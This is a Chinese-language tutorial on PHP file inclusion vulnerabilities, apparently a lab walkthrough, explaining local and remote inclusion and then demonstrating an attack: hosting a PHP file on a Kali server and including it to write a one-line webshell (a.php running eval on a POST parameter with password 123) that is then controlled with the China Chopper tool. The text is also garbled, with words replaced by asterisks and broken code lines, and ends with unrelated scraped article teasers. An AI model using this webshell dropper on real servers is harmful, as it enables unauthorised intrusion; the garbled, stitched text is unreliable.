檔案包含,是乙個功能。在各種開發語言中都提供了內建的檔案包含函式,其可以使開發人員在乙個**檔案中直接包含(引入)另外乙個**檔案。 比如 在php中,提供了:
include(),include_once()
require(),require_once()
這些檔案包含函式,這些函式在**設計中被經常使用到。
大多數情況下,檔案包含函式中包含的**檔案是固定的,因此也不會出現安全問題。 但是,有些時候,檔案包含的**檔案被寫成了乙個變數,且這個變數可以由前端使用者傳進來,這種情況下,如果沒有做足夠的安全考慮,則可能會引發檔案包含漏洞。 攻擊著會指定乙個「意想不到」的檔案讓包含函式去執行,從而造成惡意操作。 根據不同的配置環境,檔案包含漏洞分為如下兩種情況:
1.本地檔案包含漏洞:僅能夠對伺服器本地的檔案進行包含,由於伺服器上的檔案並不是攻擊者所能夠控制的,因此該情況下,攻擊著更多的會包含一些 固定的系統配置檔案,從而讀取系統敏感資訊。很多時候本地檔案包含漏洞會結合一些特殊的檔案上傳漏洞,從而形成更大的威力。
2.遠端檔案包含漏洞:能夠通過url位址對遠端的檔案進行包含,這意味著攻擊者可以傳入任意的**,這種情況沒啥好說的,準備掛彩。
因此,在web應用系統的功能設計上盡量不要讓前端使用者直接傳變數給包含函式,如果非要這麼做,也一定要做嚴格的白名單策略進行過濾。
你可以通過「file inclusion」對應的測試欄目,來進一步的了解該漏洞。
當訪問不存在的檔案text.php時,爆出路徑
將提交的值改為11.txt
放包效果如下:
我們可以看到,將11.txt
解析成了php
檔案。也就是說,無論是什麼樣的檔案,他都會解析為php
檔案。
cd /var/www/html
vim kali.txt
<?php
phpinfo();
?>
service apache2 start//啟動伺服器
ipconfig //檢視kali的ip
改為ip位址
<?php這樣,會生成乙個$a = "
<?php eval(\$_post['123'])?>";
$b = fopen("
a.php
","w
") or die("
123!");
fwrite($b,$a);
fclose($b);
echo
"大佬!木馬已生成。
";
echo ''
;?>
a.php
的一句話木馬,密碼為123
內容為:
我們用菜刀連線:
參考:
模組 包 檔案
一 模組 1.匯入模組的兩種方式 import 模組名1,模組名2import 模組名1 import模組名2 引用模組中的函式,類 模組名.函式名 模組名.類名 模組名稱太長,別名 import 模組名 as 別名 大駝峰命名 從某個模組匯入部分工具 from 模組 import 工具名 注意 兩...
DVWA File Inclusion 檔案包含Y
檔案包含漏洞,是指當伺服器開啟allow url include選項時,就可以通過php的某些特徵性函式 incllude require include once require once 利用url去動態包含檔案,此時如果沒有對檔案 進行嚴格審查,就會導致可以包含任意的檔案或者任意命令執行。檔案...
DWVA File Inclusion 檔案包含
檔案包含漏洞是一種最常見的漏洞型別,它會影響依賴於指令碼執行時的web應用程式。當應用程式使用攻擊者控制的變數構建可執行 的路徑時,檔案包含漏洞會導致攻擊這個人已控制執行時執行的檔案。產生原因 引數過濾不嚴,被攻擊者偷梁換柱。一 low 分別訪問file1.php file2.php file3.p...